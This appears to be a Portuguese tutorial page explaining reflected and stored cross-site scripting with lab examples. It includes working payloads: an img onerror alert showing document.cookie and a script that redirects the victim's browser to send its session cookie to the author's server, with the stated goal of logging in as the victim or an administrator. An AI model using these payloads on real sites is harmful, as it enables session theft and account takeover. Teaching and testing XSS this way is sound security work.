XSS - Cross Site Scripting
Last updated
Was this helpful?
Last updated
Was this helpful?
O XSS é uma vulnerabilidade que basicamente permite inserir um código javascript do lado do usuário. Existem três tipos, são eles: reflected XSS, stored XSS e DOM-based XSS. É utilizado junto com a engenharia social para causar impacto, já que a ideia dessa falha é executar um javascript malicioso no navegador da vítima.
Esse é o tipo de XSS mais simples e de menor impacto, como o próprio nome diz, ele apenas reflete o script quando for executado. Como no exemplo anterior, vamos supor que a aplicação possui uma entrada que permite passar um valor por parâmetro e exibe na tela esse valor.
Como esse parâmetro não é tratado com algum filtro corretamente no backend, a aplicação permite executar um código javascript que vai refletir para o usuário.
No exemplo a cima executamos apenas um alert para exibir algum valor na tela, mas poderia ser qualquer outro código que iria funcionar também. Podemos facilmente utilizar o javascript para redirecionar para outra página também, vai de acordo com a criatividade.
Podemos ver com mais detalhes no código fonte como que funciona essa falha.
Nesse exemplo, a aplicação exibe o resultado da busca "a" e exibe os usuários. Se for passado o mesmo javascript anterior, irá exibir um alert normalmente.
Olhando no código fonte, podemos ver claramente que a aplicação aceitou normalmente o script que injetamos e por isso foi executado como se fosse um código normal dela. Em alguns casos, é necessário fechar a tag anterior com "> e inserir o script para que funcione. Existem diversos payloads que faz um bypass desses filtros que tratam essas injeções.
O XSS armazenado, é de longe o que mais causa impacto para o usuário. Vamos imaginar que uma aplicação tem alguma parte que salva informações e as exiba, como por exemplo em campos de comentários, alguma tabela de usuários, etc. Se essa parte for vulnerável a XSS, o script malicioso que for injetado irá ficar salvo no banco de dados, e consequentemente irá ficar salvo nessa página que existir a falha. Sendo assim, toda vez que o usuário for entrar nessa página, irá ser executado esse script malicioso e com isso ele se torna persistente. Um dos impactos que essa vulnerabilidade possibilita, é usar um javascript que irá enviar o cookie do usuário que estiver na sessão logada para algum servidor nosso que armazena esse cookie para podermos utilizar e consequentemente logar na conta do mesmo. Lembrando que é necessário que o usuário entre nessa página que contém esse javascript. Com isso se algum administrador logado entrar nessa página, conseguimos roubar a sessão dele.
Para fazer um teste, vamos utilizar o seguinte script. Ele irá chamar uma imagem com nome de "x" e consequentemente como ela não existe irá trigar um error executando um alert.
<img src=x onerror=alert(document.cookie)>
Ao entrar na página, ele irá executar e nos mostrar o nosso cookie.
Se olharmos no banco de dados, podemos ver que a informação foi armazenada, assim será exibido toda vez que essa página for carregada.
Se quisermos que o usuário seja redirecionado para um servidor e pegarmos o cookie dele, podemos fazer da seguinte forma:
<script>document.location="http://localhost:8080/?"+document.cookie</script>
Para isso, eu subi um servidor local e ao acessar a página conseguimos pegar o cookie e consequentemente logar com esse usuário.